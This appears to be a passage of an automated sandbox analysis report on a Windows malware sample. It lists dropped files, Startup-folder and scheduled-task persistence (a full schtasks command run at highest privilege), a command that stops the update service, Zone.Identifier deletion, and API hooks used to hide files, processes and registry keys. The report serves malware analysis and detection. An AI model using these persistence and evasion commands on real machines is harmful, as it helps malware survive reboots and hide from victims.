Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A66131C6DD push rcx; retf 003Fh	55_2_000002A66131C6DE

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\win32\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\win32com\shell\shell.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	File created: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	File created: C:\Users\user\AppData\Roaming\Update.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Update.exe	File created: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	File created: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	File created: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard\backend_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	File created: C:\Users\user\AppData\Roaming\SearchServices.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard\_cffi.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

File created: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\LICENSE.txt

Jump to behavior

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\Update.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Roaming\Update.exe	File opened: C:\Users\user\AppData\Roaming\Update.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	File opened: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00007FF7287E53F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00007FF7287E53F0

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
